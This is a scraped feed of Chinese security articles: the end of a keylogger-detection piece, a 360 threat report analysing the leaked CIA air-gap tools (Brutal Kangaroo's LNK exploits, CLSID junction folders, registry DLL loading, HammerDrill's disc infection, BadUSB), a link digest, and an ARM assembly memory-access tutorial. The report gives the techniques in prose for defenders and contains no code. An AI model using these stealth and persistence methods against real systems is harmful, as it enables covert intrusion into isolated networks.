这里有2个HID请求的列表,分别是InclusionList, UsagePageList and ExclusionList。插入哪个列表取决于调用RegisterRawInputDevices的tagRAWINPUTDEVICE的dwFlags值。


【技术分享】Windows 键盘记录器 part2:检测

对于键盘记录,我使用RIDEV_NOLEGACY | RIDEV_INPUTSINK标志,因此是InclusionList。最后一个结构体是win32k!tagPROCESS_HID_REQUEST


【技术分享】Windows 键盘记录器 part2:检测

能看到usUsagePage, usUsage and spwndTarget是tagRAWINPUTDEVICE的参数。

对于原始输入的检测:

1. 枚举系统所有的进程

2. 针对每个进程,遍历pID -> PEPROCESS -> tagPROCESSINFO -> tagPROCESS_HID_TABLE -> tagPROCESS_HID_REQUEST

3. 如果我们找到usUsagePage = 1的条目(通常是桌面控制)和usUsage = 6(键盘),这个进程就是用来键盘记录的。

扫描结果:


【技术分享】Windows 键盘记录器 part2:检测

0x04 Direct Input

当检测direct input时,我发现了注册钩子进程中的一些有趣的特征。


【技术分享】Windows 键盘记录器 part2:检测

【技术分享】Windows 键盘记录器 part2:检测

针对MSIAfterburner.exe,我发现了一些与direct input(Mutant, Section, Key)相关的句柄。从运行的线程中,我们也能发现DINPUT8.dll(微软DirectInput库)。

对于direct input的检测:

1. 枚举系统所有进程

2. 对于每个进程,枚举所有的mutant、section、key,以匹配句柄特征

3. 如果所有的特征都匹配了,我们得到进程的所有的线程的起始地址。如果起始地址在DINPUT8.DLL的地址空间中,则找到了键盘记录。

扫描结果:


【技术分享】Windows 键盘记录器 part2:检测

0x05 总结

总结扫描方式如下:


【技术分享】Windows 键盘记录器 part2:检测

传送门

【技术分享】Windows 键盘记录器 part1:应用层方法




【技术分享】Windows 键盘记录器 part2:检测
【技术分享】Windows 键盘记录器 part2:检测
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/

【安全报告】隔离网络高级威胁攻击预警分析报告

$
0
0
【安全报告】隔离网络高级威胁攻击预警分析报告

2017-07-10 20:16:11

阅读:519次
点赞(0)
收藏
来源: 安全客





【安全报告】隔离网络高级威胁攻击预警分析报告

作者:360追日团队





【安全报告】隔离网络高级威胁攻击预警分析报告

第一章 安全隔离网络高级威胁攻击简介

维基解密于2017年6月22日解密了美国中央情报局(CIA)穹顶7(Vault7)网络武器库中的第十二批档案,分别是“野蛮袋鼠(Brutal Kangaroo)”和“激情猿猴(Emotional Simian)”项目,被披露的档案中详细描述了美国情报机构如何远程隐蔽地入侵访问封闭的计算机网络或独立的安全隔离网络(Air-Gapped Devices,从未连接过互联网的设备)。


【安全报告】隔离网络高级威胁攻击预警分析报告

一般金融机构、军事机构、核设施和能源基础行业等都会使用无法访问互联网的封闭网络以保护重要数字资产,重要数字资产处在隔离网络中,黑客无法直接攻击这些目标,传统的黑客渗透攻击手段都会失效。但隔离网络并不代表着绝对安全,它只能隔离计算机数字资产的网络访问,无法阻断物理介质传输数据和物理设备的接入,比如U盘、光盘等物理数据存储介质,键盘、鼠标等硬件设备,非安全的硬件设备和数据传输介质进入隔离网络,极有可能成为黑客渗透入侵隔离网络的桥梁。


第二章 “震网三代”隔离网攻击流程简介

2010年6月,“震网”病毒首次被发现,它被称为有史以来最复杂的网络武器,使用了4个windows 0day漏洞用于攻击伊朗的封闭网络中的核设施工控设备,我们定义它为“震网一代”。时隔两年,2012年5月,“火焰”病毒利用了和“震网一代”相同的Windows 漏洞作为网络武器攻击了多个国家,在一代的基础上新增了更多的高级威胁攻击技术和0day漏洞,我们定义它为“震网二代”。此次披露的CIA网络武器资料表明,其攻击封闭网络的方式和前两代“震网”病毒的攻击方式相似,并使用了新的未知攻击技术,我们定义它为“震网三代”。下面会着重分析其对安全隔离网络的攻击手段,以供业界参考发现和防护此类高级威胁攻击。

此次披露的CIA网络武器主要针对微软Windows操作系统进行攻击,通过USB存储介质对安全隔离网络进行渗透攻击和窃取数据:

1. 首先,它会攻击与目标相关联的可以连接互联网的计算机,在计算机中植入恶意感染程序。

2. 然后,凡是接入被感染计算机的USB存储设备(如:U盘),都会被再次植入恶意程序,整个U盘将会变成一个数据中转站,同时也是一个新的感染源。

3. 接下来,如果这个被感染的U盘在封闭网络中被用于拷贝数据的话,U盘就会感染封闭网络中的计算机,同时偷窃计算机中的数据并秘密保存在U盘中。

4. 最后,被感染的U盘一旦被带出隔离网络,连接到可以联网的计算机时,窃取的数据就会被传送回CIA。


【安全报告】隔离网络高级威胁攻击预警分析报告

更可怕的是,多台封闭网络中被感染的计算机彼此间会形成一个隐蔽的网络,用于数据交换和任务协作,并在封闭网络中持续潜伏攻击。

震网三代攻击演示视频:http://weibo.com/tv/v/F90MPyYOH


第三章 “震网三代”隔离网攻击方式分析

攻击安全隔离网络的关键技术是针对USB存储设备的感染技术,在“震网一代”病毒中该技术使用的是Windows快捷方式文件解析漏洞(CVE-2010-2568/MS10-046),这个漏洞利用了Windows在解析快捷方式文件(例如.lnk文件)时的系统机制缺陷,可以使系统自动加载攻击者指定的DLL文件,执行其中的恶意代码。该漏洞的利用效果稳定且隐蔽,具有非常强大的感染能力,将利用了漏洞的快捷方式文件置于USB存储设备(如U盘)中,无需任何用户交互,受害者只要打开设备就会被自动攻击控制电脑。

“震网二代”病毒使用了一种新的攻击隐蔽技术,参考下图中赛门铁克报告中的分析,攻击会使用一个文件夹,文件夹中放有desktop.ini、target.lnk和mssecmgr.ocx三个文件。


【安全报告】隔离网络高级威胁攻击预警分析报告

“震网二代”病毒在desktop.ini文件中通过shellclassinfo字段设置classid,会将文件夹重定向到一个Junction文件夹,Junction是Windows(NTFS)特有的一种链接方式,和软链接类似,但Junction只针对文件夹,下面会再详细分析。受害者打开文件夹会触发target.lnk漏洞攻击执行恶意代码,同时还能够隐藏保护文件夹中的恶意文件和lnk漏洞文件。


【安全报告】隔离网络高级威胁攻击预警分析报告


【安全报告】隔离网络高级威胁攻击预警分析报告

维基解密曝光的CIA网络武器档案中描述了三种未知的Windows快捷方式文件漏洞攻击方法和一些漏洞攻击隐蔽技术,这三种未知的攻击分别是:Giraffe Links(长颈鹿快捷文件)、Lachesis LinkFiles (拉克西斯快捷文件)和Riverjack(杰克河快捷方式文件), 疑似为微软于2017年6月13日公告修复的新的快捷方式文件解析漏洞 CVE-2017-8464。下面我们先来介绍这三种安全隔离网络的攻击方式:

1. Giraffe Links(长颈鹿快捷文件攻击),该攻击特点是只要桌面进程显示了快捷方式文件就会自动加载dll执行恶意代码,可以成功攻击除开Windows XP系统以外的所有windows系统。这个攻击场景包含了所有的快捷方式场景,也就是无论是在U盘中的快捷方式文件还是系统中的快捷方式文件,只要电脑显示了快捷方式,就会被攻击。


【安全报告】隔离网络高级威胁攻击预警分析报告

图 “野蛮袋鼠(Brutal Kangaroo)”文档片段

2. Lachesis LinkFiles (拉克西斯快捷文件攻击,“Lachesis”源自希腊神话中命运三女神之一),该攻击特点需要autorun.inf文件配合快捷方式文件,在U盘设备插入计算机系统时加载autorun.inf文件,然后自动加载dll执行恶意代码。这个攻击场景只限于U盘等USB存储设备插入电脑时,而且只能攻击Windows 7系统。


【安全报告】隔离网络高级威胁攻击预警分析报告

图 “野蛮袋鼠(Brutal Kangaroo)”文档片段

3. Riverjack(杰克河快捷方式文件,“Riverjack“美国北卡罗来纳州一个地名),该攻击的特点是使用了Windows文件资源管理器的“库”功能进行隐蔽攻击,不需要显示快捷方式文件且可以隐藏快捷方式文件,可以攻击Windows 7,8,8.1系统,从技术角度分析由于Windows文件资源管理器的“库”功能只支持Windows 7及其以上的操作系统,所以这个功能和漏洞无关,是一个扩展的攻击隐蔽技术或漏洞利用保护技术。

【安全报告】隔离网络高级威胁攻击预警分析报告

图 “野蛮袋鼠(Brutal Kangaroo)”文档片段

下面我们来着重分析下Riverjack(杰克河快捷方式文件)攻击方式,根据CIA档案我们发现该攻击隐蔽技术的细节,该攻击方式分为四个部分:快捷方式文件夹、Junction文件夹、“库”文件和快捷方式文件,前面三部分是攻击隐蔽技术,用正常的系统特性隐藏快捷方式文件的漏洞攻击,四个部分结合起来就成为了更难以被发现的高级威胁攻击,可以在被攻击系统中长期潜伏。


【安全报告】隔离网络高级威胁攻击预警分析报告

图 “野蛮袋鼠(Brutal Kangaroo)”文档片段

首先,给将普通文件夹改名成设定成指定类型的classid,如<MyFolder>.<CLSID>,

它将会变成一个Junction Foldersrs。


【安全报告】隔离网络高级威胁攻击预警分析报告

图 “野蛮袋鼠(Brutal Kangaroo)”文档片段

假设给文件夹设置一个不存在的classid名24138469-5DDA-479D-A150-3695B9365DC0}


【安全报告】隔离网络高级威胁攻击预警分析报告

图 “野蛮袋鼠(Brutal Kangaroo)”文档片段

打开这个文件夹后,桌面进程会查询这个不存在的classid注册表键。


【安全报告】隔离网络高级威胁攻击预警分析报告

然后,如果直接设置这个注册表键值指向一个固定位置的dll文件,那么打开这个文件夹后会关联verclsid.exe 加载这个dll执行代码。


【安全报告】隔离网络高级威胁攻击预警分析报告

同时,如果在用户启动目录中加入这个Junction文件夹,在电脑重启时也会触发加载这个dll文件执行代码。


【安全报告】隔离网络高级威胁攻击预警分析报告

接下来,CIA档案中还介绍了利用Windows Libray(库)文件的攻击隐藏技术,它是在Windows7及其以上系统中资源管理器一种新的快捷方式特性,它的本质是一个xml配置文件,可以支持指向上文分析的Junction文件夹,在xml文件中指定foldertype和knownfolder字段就可以构造恶意的”库”快捷方式。


【安全报告】隔离网络高级威胁攻击预警分析报告

最后,我们会发现野蛮袋鼠项目与震网一、二代病毒相比,利用系统特性更新了一些新的攻击技术,但仍然是以windows快捷方式文件解析漏洞为核心。在“震网一代“病毒中使用的核心漏洞是windows快捷方式文件解析漏洞(CVE-2010-2568/MS10-046),时隔5年后,安全研究员Michael Heerklotz绕过该漏洞补丁中的安全限制,发现了第二个windows快捷方式文件解析漏洞(CVE-2015-0096/MS15-020 ),此漏洞的技术细节一经披露就被黑客疯狂利用。近日,微软于2017年6月13日公告修复了第三个快捷方式文件解析漏洞 CVE-2017-8464,但在6月13日的安全公告中并没有标明任何漏洞来源,也没有发现黑客在野外利用该漏洞。


【安全报告】隔离网络高级威胁攻击预警分析报告

奇怪的是在一周后维基解密曝光了CIA的网络武器“野蛮袋鼠(Brutal Kangaroo)”和“激情猿猴(Emotional Simian),根据上文我们的技术分析,再结合该项目档案中的项目开发时间节点,我们推测该项目利用的核心漏洞就是最新的CVE-2017-8464。


第四章 “冲击钻”攻击技术简介

维基解密的创始人阿桑奇于2017年3月9日左右发布一段2分钟的视频专门解释了一个入侵安全隔离网的网络武器“冲击钻(HammerDrill)”,并在3月19日在维基解密网站公布了该项目详细开发文档。


【安全报告】隔离网络高级威胁攻击预警分析报告

“冲击钻(HammerDrill)”是通过劫持Windows系统上的光盘刻录软件,感染光盘这类数据传输介质的方式,以达到入侵隔离网络目的。在该项目的开发文档中详细介绍了感染光盘的步骤,下面我们来简要分析解读下:

1. 冲击钻会启动一个线程通过wmi接口来监控系统进程。

2. 如果在进程列表中发现NERO.EXE, NEROEXPRESS.EXE and NEROSTARTSMART.EXE三个进程名,就会往进程中注入一个恶意的dll文件,并劫持进程的读文件操作。

3. 如果发现光盘刻录软件读入了PE可执行文件,就篡改文件注入shellcode恶意代码。

最终,光盘刻录软件读取编辑的PE可执行文件都会被感染,这个光盘将成为一个恶意感染源,如果光盘被接入隔离网络使用,计算机操作人员不慎运行或安装了其中的软件,黑客也就成功渗透了隔离网络。由于资料只披露了HammerDrill2.0的开发笔记,没有利用高级的安全漏洞技术,但在技术上推测实际上可以作为“震网三代”的一个辅助攻击组件,配合震网三代感染光盘等软数据存储介质。


第五章 “BadUSB”攻击技术简介

在维基解密披露的CIA知识库文档中还介绍了“BadUSB”技术,实际上这是近年计算机安全领域最热门的攻击技术之一,黑客已经广泛利用了该技术。“BadUSB”主要是利用恶意的HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)设备和无线网卡设备进行攻击,而与正常的普通的HID设备不同,这类设备被黑客定制小型化,外形和一个U盘没有任何差别。


【安全报告】隔离网络高级威胁攻击预警分析报告

类似的HID设备一旦插入电脑就会被模拟成键盘自动输入恶意代码运行,而NSA(美国国家安全局)的另外一个强大的无线间谍工具水蝮蛇一号(COTTONMOUTH-I),也是看起来像一个普通U盘,但实际上是一个恶意的小型电脑,在被披露的文档中介绍了它可以创建一个无线桥接网络接入到目标网络中,然后通过这个无线网络控制目标电脑。


【安全报告】隔离网络高级威胁攻击预警分析报告

所以,黑客仍然有可能通过恶意的USB设备入侵渗透隔离网络,但这类攻击并不具备震网三代病毒那样强大的自动感染传播能力。


第六章 安全隔离网络高级威胁攻击防御建议

防范震网三代(CVE-2017-8464),广大用户和企事业单位应及时安装微软6月补丁修复漏洞。360安全卫士及天擎等产品也已针对震网三代的漏洞利用特征更新了防护规则,能够精准拦截和查杀震网三代攻击样本。

同时,在隔离网络中的计算机操作人员仍然需要提高安全意识,注意到封闭的隔离网络并不意味着绝对安全,对于高安全级别的隔离网络除了要修复系统和软件的安全漏洞,还要隔绝一切不被信任的外部数据存储介质和硬件设备。


第七章 参考

https://wikileaks.org/vault7/document/Emotional_Simian-v2_3-User_Guide/Emotional_Simian-v2_3-User_Guide.pdf

https://wikileaks.org/vault7/document/Brutal_Kangaroo-DriftingDeadline-V1_2-User_Guide/Brutal_Kangaroo-DriftingDeadline-V1_2-User_Guide.pdf

https://wikileaks.org/ciav7p1/cms/page_13763373.html

https://wikileaks.org/ciav7p1/cms/page_13763381.html

https://wikileaks.org/ciav7p1/cms/page_17072186.html

https://wikileaks.org/ciav7p1/cms/page_17072172.html

https://wikileaks.org/ciav7p1/cms/page_20873532.html

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464

https://www.symantec.com/connect/blogs/w32flamer-spreading-mechanism-tricks-and-exploits

https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/kaspersky-lab-gauss.pdf


360追日团队(Helios Team)

360 追日团队(Helios Team)是360公司高级威胁研究团队,从事APT攻击发现与追踪、互联网安全事件应急响应、黑客产业链挖掘和研究等工作。团队成立于2014年12月,通过整合360公司海量安全大数据,实现了威胁情报快速关联溯源,独家首次发现并追踪了三十余个APT组织及黑客团伙,大大拓宽了国内关于黑客产业的研究视野,填补了国内APT研究的空白,并为大量企业和政府机构提供安全威胁评估及解决方案输出。

已公开APT相关研究成果


【安全报告】隔离网络高级威胁攻击预警分析报告

【安全报告】隔离网络高级威胁攻击预警分析报告

联系方式

邮箱:360zhuiri@360.cn

微信公众号:360追日团队

扫描二维码关注微信公众号


【安全报告】隔离网络高级威胁攻击预警分析报告


【安全报告】隔离网络高级威胁攻击预警分析报告
【安全报告】隔离网络高级威胁攻击预警分析报告
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4086.html

【知识】7月11日 - 每日安全知识热点

$
0
0
【知识】7月11日 - 每日安全知识热点

2017-07-11 10:06:58

阅读:477次
点赞(0)
收藏
来源: 安全客





【知识】7月11日 - 每日安全知识热点

作者:adlab_puky





【知识】7月11日 - 每日安全知识热点

热点概要:隔离网络高级威胁攻击预警分析报告、探索QEMU-KVM中PIO处理的奥秘、windows 键盘记录器、CVE-2017-0283Windows Uniscribe远程代码执行漏洞分析、使用VMware GDB和IDA Pro进行VMM调试、使用.NET汇编汇编方法Bypass设备保护技术


资讯类:

据传,印度电信公司Reliance Jio的1.2亿客户的个人资料泄漏

http://securityaffairs.co/wordpress/60859/cyber-crime/reliance-jio-data-breach.html


技术类:

隔离网络高级威胁攻击预警分析报告

http://bobao.360.cn/learning/detail/4086.html


探索QEMU-KVM中PIO处理的奥秘

http://bobao.360.cn/learning/detail/4079.html


2017 C3安全峰会的视频和PPT

http://www.chinac3.com/


企业如何防御恶意bot流量

https://www.520waf.com/2017/07/05/bot/


黑夜的猎杀-盲打XXE

https://xianzhi.aliyun.com/forum/read/1837.html


Windows 键盘记录器

http://bobao.360.cn/learning/detail/4084.html

http://bobao.360.cn/learning/detail/4085.html


低漏报检测java反序列化漏洞方法

http://www.polaris-lab.com/index.php/archives/331/


CDN校验漏洞催生海量网络投毒

http://www.CodeSec.Net/news/139358.html


Joomla Akobook组件xss

https://cxsecurity.com/issue/WLB-2017070074


Android中免root的hook框架Legend原理解析

http://www.wjdiankong.cn/android%E4%B8%AD%E5%85%8Droot%E7%9A%84hook%E6%A1%86%E6%9E%B6legend%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90/


CVE-2015-1641 Word 利用样本分析

http://paper.seebug.org/351/


基于SDN和安全情报的自动响应技术

http://www.edu.cn/xxh/spkt/aq/201705/t20170527_1520005.shtml


CVE-2017-0283Windows Uniscribe远程代码执行漏洞分析

https://0patch.blogspot.com/2017/07/0patching-quick-brown-fox-of-cve-2017.html


移动应用安全开发指导

http://file.digitalinterruption.com/Secure%20Mobile%20Development.pdf


CACTUSTORCH:一个支持VBS、VBA、JS、JSE、WSF、HTA、VBE payload生成框架

https://www.mdsec.co.uk/2017/07/payload-generation-with-cactustorch/


.io配置错误——通过有目标的注册可以控制所有的.io域名

https://thehackerblog.com/the-io-error-taking-control-of-all-io-domains-with-a-targeted-registration/


分析一个下载者木马

https://secrary.com/ReversingMalware/Upatre/


如何将shell提升到完整的tty

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/


从NotPetya勒索软件恢复Salsa20算法加密的磁盘数据

http://blog.ptsecurity.com/2017/07/recovering-data-from-disk-encrypted-by.html


Invoke-AutoIt:将AutoIt DLL和PowerShell脚本加载到内存中并执行指定的命令

https://github.com/byt3bl33d3r/Invoke-AutoIt


OSX恶意软件劫持用户网络流量

http://blog.trendmicro.com/trendlabs-security-intelligence/osx_dok-mac-malware-emmental-hijacks-user-network-traffic/


burp-vulners-scanner:基于Vulners.com 漏洞数据库的一款burp漏扫插件

https://github.com/vulnersCom/burp-vulners-scanner


如何攻击ATM机及其组件

http://www.dejavusecurity.com/blog/2017/7/10/mixed-tape-vol-a


hexed:基于Windows控制台的hex编辑器

https://github.com/samizzo/hexed


使用VMware GDB和IDA Pro进行VMM调试第1部分:安装

http://www.triplefault.io/2017/07/setup-vmm-debugging-using-vmwares-gdb_9.html


使用VMware GDB和IDA Pro进行VMM调试第2部分:加载内核符号

http://www.triplefault.io/2017/07/loading-kernel-symbols-vmm-debugging.html


使用.NET汇编汇编方法Bypass设备保护技术

http://www.exploit-monday.com/2017/07/bypassing-device-guard-with-dotnet-methods.html




【知识】7月11日 - 每日安全知识热点
【知识】7月11日 - 每日安全知识热点
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4088.html

【系列分享】ARM 汇编基础速成4:ARM汇编内存访问相关指令

$
0
0
【系列分享】ARM 汇编基础速成4:ARM汇编内存访问相关指令

2017-07-11 10:01:28

阅读:431次
点赞(0)
收藏
来源: azeria-labs.com





【系列分享】ARM 汇编基础速成4:ARM汇编内存访问相关指令

作者:arnow117





【系列分享】ARM 汇编基础速成4:ARM汇编内存访问相关指令

译者:arnow117

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【系列分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍

【系列分享】ARM 汇编基础速成2:ARM汇编中的数据类型

【系列分享】ARM 汇编基础速成3:ARM模式与THUMB模式


ARM使用加载-存储模式控制对内存的访问,这意味着只有加载/存储(LDR或者STR)才能访问内存。尽管X86中允许很多指令直接操作在内存中的数据,但ARM中依然要求在操作数据前,必须先从内存中将数据取出来。这就意味着如果要增加一个32位的在内存中的值,需要做三种类型的操作(加载,加一,存储)将数据从内存中取到寄存器,对寄存器中的值加一,再将结果放回到内存中。

为了解释ARM架构中的加载和存储机制,我们准备了一个基础的例子以及附加在这个基础例子上的三种不同的对内存地址的便宜访问形式。每个例子除了STR/LDR的偏移模式不同外,其余的都一样。而且这个例子很简单,最佳的实践方式是用GDB去调试这段汇编代码。

第一种偏移形式:立即数作为偏移

地址模式:用作偏移

地址模式:前向索引

地址模式:后向索引

第二种偏移形式:寄存器作为偏移

地址模式:用作偏移

地址模式:前向索引

地址模式:后向索引

第三种偏移形式:寄存器缩放值作为偏移

地址模式:用作偏移

地址模式:前向索引

地址模式:后向索引


基础样例代码

通常,LDR被用来从内存中加载数据到寄存器,STR被用作将寄存器的值存放到内存中。


【系列分享】ARM 汇编基础速成4:ARM汇编内存访问相关指令
LDRR2,[R0]@[R0]-数据源地址来自于R0指向的内存地址 @LDR操作:从R0指向的地址中取值放到R2中 STRR2,[R1]@[R1]-目的地址来自于R1在内存中指向的地址 @STR操作:将R2中的值放到R1指向的地址中

样例程序的汇编代码及解释如下:

.data/*数据段是在内存中动态创建的,所以它的在内存中的地址不可预测*/ var1:.word3/*内存中的第一个变量*/ var2:.word4/*内存中的第二个变量*/ .text/*代码段开始*/ .global_start _start: ldrr0,adr_var1@将存放var1值的地址adr_var1加载到寄存器R0中 ldrr1,adr_var2@将存放var2值的地址adr_var2加载到寄存器R1中 ldrr2,[r0]@将R0所指向地址中存放的0x3加载到寄存器R2中 strr2,[r1]@将R2中的值0x3存放到R1做指向的地址 bkpt adr_var1:.wordvar1/*var1的地址助记符*/ adr_var2:.wordvar2/*var2的地址助记符*/

在底部我们有我们的文字标识池(在代码段中用来存储常量,字符串,或者偏移等的内存,可以通过位置无关的方式引用),分别用adr_var1和adr_var2存储着变量var1和var2的内存地址(var1和var2的值在数据段定义)。第一条LDR指令将变量var1的地址加载到寄存器R0。第二条LDR指令同样将var2的地址加载到寄存器R1。之后我们将存储在R0指向的内存地址中的值加载到R2,最后将R2中的值存储到R1指向的内存地址中。

当我们加载数据到寄存器时,方括号“[]”意味着:将其中的值当做内存地址,并取这个内存地址中的值加载到对应寄存器。 当我们存储数据到内存时,方括号“[]”意味着:将其中的值当做内存地址,并向这个内存地址所指向的位置存入对应的值。

听者好像有些抽象,所以再来看看这个动画吧:


【系列分享】ARM 汇编基础速成4:ARM汇编内存访问相关指令

同样的再来看看的这段代码在调试器中的样子。

gef>disassemble_start Dumpofassemblercodeforfunction_start: 0x00008074<+0>:ldrr0,[pc,#12];0x8088<adr_var1> 0x00008078<+4>:ldrr1,[pc,#12];0x808c<adr_var2> 0x0000807c<+8>:ldrr2,[r0] 0x00008080<+12>:strr2,[r1] 0x00008084<+16>:bxlr Endofassemblerdump. 可以看到此时的反汇编代码和我们编写的汇编代码有出入了。前两个LDR操作的源寄存器被改成了[pc,#12]。这种操作叫做PC相对地址。因为我们在汇编代码中使用的只是数据的标签,所以在编译时候编译器帮我们计算出来了与我们想访问的文字标识池的相对便宜,即PC+12。你也可以看汇编代码中手动计算验证这个偏移是正确的,以adr_var1为例,执行到8074时,其当前有效PC与数据段还有三个四字节的距离,所以要加12。关于PC相对取址我们接下来还会接着介绍。

PS:如果你对这里的PC的地址有疑问,可以看外面第二篇关于程序执行时PC的值的说明,PC是指向当前执行指令之后第二条指令所在位置的,在32位ARM模式下是当前执行位置加偏移值8,在Thumb模式下是加偏移值4。这也是与X86架构PC的区别之所在。


【系列分享】ARM 汇编基础速成4:ARM汇编内存访问相关指令

第一种偏移形式:立即数作偏移


STRRa,[Rb,imm] LDRRa,[Rc,imm]

在这段汇编代码中,我们使用立即数作为偏移量。这个立即数被用来与一个寄存器中存放的地址做加减操作(下面例子中的R1),以访问对应地址偏移处的数据。


.data var1:.word3 var2:.word4 .text .global_start _start: ldrr0,adr_var1@将存放var1值的地址adr_var1加载到寄存器R0中 ldrr1,adr_var2@将存放var2值的地址adr_var2加载到寄存器R1中 ldrr2,[r0]@将R0所指向地址中存放的0x3加载到寄存器R2中 strr2,[r1,#2]@取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加2所指向地址处。 strr2,[r1,#4]!@取址模式:基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加4所指向地址处,之后R1寄存器中存储的值加4,也就是R1=R1+4。 ldrr3,[r1],#4@取址模式:基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的,加载之后R1寄存器中存储的值加4,也就是R1=R1+4。 bkpt adr_var1:.wordvar1 adr_var2:.wordvar2

让我们把上面的这段汇编代码编译一下,并用GDB调试起来看看真实情况。

$asldr.s-oldr.o $ldldr.o-oldr $gdbldr

在GDB(使用GEF插件)中,我们对_start下一个断点并继续运行程序。

gef>break_start gef>run ... gef>nexti3/*向后执行三条指令*/

执行完上述GDB指令后,在我的系统的寄存器的值现在是这个样子(在你的系统里面可能不同):

$r0:0x00010098->0x00000003 $r1:0x0001009c->0x00000004 $r2:0x00000003 $r3:0x00000000 $r4:0x00000000 $r5:0x00000000 $r6:0x00000000 $r7:0x00000000 $r8:0x00000000 $r9:0x00000000 $r10:0x00000000 $r11:0x00000000 $r12:0x00000000 $sp:0xbefff7e0->0x00000001 $lr:0x00000000 $pc:0x00010080-><_start+12>strr2,[r1] $cpsr:0x00000010

下面来分别调试这三条关键指令。首先执行基于地址偏移的取址模式的STR操作了。就会将R2(0x00000003)中的值存放到R1(0x0001009c)所指向地址偏移2的位置0x1009e。下面一段是执行完对应STR操作后对应内存位置的值。

gef>nexti gef>x/w0x1009e 0x1009e<var2+2>:0x3

下一条STR操作使用了基于索引前置修改的取址模式。这种模式的识别特征是(!)。区别是在R2中的值被存放到对应地址后,R1的值也会被更新。这意味着,当我们将R2中的值0x3存储到R1(0x1009c)的偏移4之后的地址0x100A0后,R1的值也会被更新到为这个地址。下面一段是执行完对应STR操作后对应内存位置以及寄存器的值。

gef>nexti gef>x/w0x100A0 0x100a0:0x3 gef>inforegisterr1 r10x100a065696

最后一个LDR操作使用了基于索引后置的取址模式。这意味着基础寄存器R1被用作加载的内存地址,之后R1的值被更新为R1+4。换句话说,加载的是R1所指向的地址而不是R1+4所指向的地址,也就是0x100A0中的值被加载到R3寄存器,然后R1寄存器的值被更新为0x100A0+0x4也就是0x100A4。下面一段是执行完对应LDR操作后对应内存位置以及寄存器的值。

gef>inforegisterr1 r10x100a465700 gef>inforegisterr3 r30x33

下图是这个操作发生的动态示意图。


【系列分享】ARM 汇编基础速成4:ARM汇编内存访问相关指令

第二种偏移形式:寄存器作偏移


STRRa,[Rb,Rc] LDRRa,[Rb,Rc]

在这个偏移模式中,寄存器的值被用作偏移。下面的样例代码展示了当试着访问数组的时候是如何计算索引值的。

.data var1:.word3 var2:.word4 .text .global_start _start: ldrr0,adr_var1@将存放var1值的地址adr_var1加载到寄存器R0中 ldrr1,adr_var2@将存放var2值的地址adr_var2加载到寄存器R1中 ldrr2,[r0]@将R0所指向地址中存放的0x3加载到寄存器R2中 strr2,[r1,r2]@取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加R2寄存器的值所指向地址处。R1寄存器不会被修改。 strr2,[r1,r2]!@取址模式:基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加R2寄存器的值所指向地址处,之后R1寄存器中的值被更新,也就是R1=R1+R2。 ldrr3,[r1],r2@取址模式:基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的,加载之后R1寄存器中的值被更新也就是R1=R1+R2。 bxlr adr_var1:.wordvar1 adr_var2:.wordvar2

下面来分别调试这三条关键指令。在执行完基于偏移量的取址模式的STR操作后,R2的值被存在了地址0x1009c + 0x3 = 0x1009F处。下面一段是执行完对应STR操作后对应内存位置的值。

gef>x/w0x0001009F 0x1009f<var2+3>:0x00000003

下一条STR操作使用了基于索引前置修改的取址模式,R1的值被更新为R1+R2的值。下面一段是执行完对应STR操作后寄存器的值。

gef>inforegisterr1 r10x1009f65695

最后一个LDR操作使用了基于索引后置的取址模式。将R1指向的值加载到R2之后,更新了R1寄存器的值(R1+R2 = 0x1009f + 0x3 = 0x100a2)。下面一段是执行完对应LDR操作后对应内存位置以及寄存器的值。

gef>inforegisterr1 r10x100a265698 gef>inforegisterr3 r30x33

下图是这个操作发生的动态示意图。


【系列分享】ARM 汇编基础速成4:ARM汇编内存访问相关指令

第三种偏移形式:寄存器缩放值作偏移


LDRRa,[Rb,Rc,<shifter>] STRRa,[Rb,Rc,<shifter>]

在这种偏移形式下,第三个偏移量还有一个寄存器做支持。Rb是基址寄存器,Rc中的值作为偏移量,或者是要被左移或右移的次的值。这意味着移位器shifter被用来用作缩放Rc寄存器中存放的偏移量。下面的样例代码展示了对一个数组的循环操作。同样的,我们也会用GDB调试这段代码。

.data var1:.word3 var2:.word4 .text .global_start _start: ldrr0,adr_var1@将存放var1值的地址adr_var1加载到寄存器R0中 ldrr1,adr_var2@将存放var2值的地址adr_var2加载到寄存器R1中 ldrr2,[r0]@将R0所指向地址中存放的0x3加载到寄存器R2中 strr2,[r1,r2,LSL#2]@取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加(左移两位后的R2寄存器的值)所指向地址处。R1寄存器不会被修改。 strr2,[r1,r2,LSL#2]!@取址模式:基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加(左移两位后的R2寄存器的值)所指向地址处,之后R1寄存器中的值被更新,也就R1=R1+R2<<2。 ldrr3,[r1],r2,LSL#2@取址模式:基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的,加载之后R1寄存器中的值被更新也就是R1=R1+R2<<2。 bkpt adr_var1:.wordvar1 adr_var2:.wordvar2 下面来分别调试这三条关键指令。在执行完基于偏移量的取址模式的STR操作后,R2被存储到的位置是[r1,r2,LSL#2],也就是说被存储到R1+(R2<<2)的位置了,如下图所示。
【系列分享】ARM 汇编基础速成4:ARM汇编内存访问相关指令

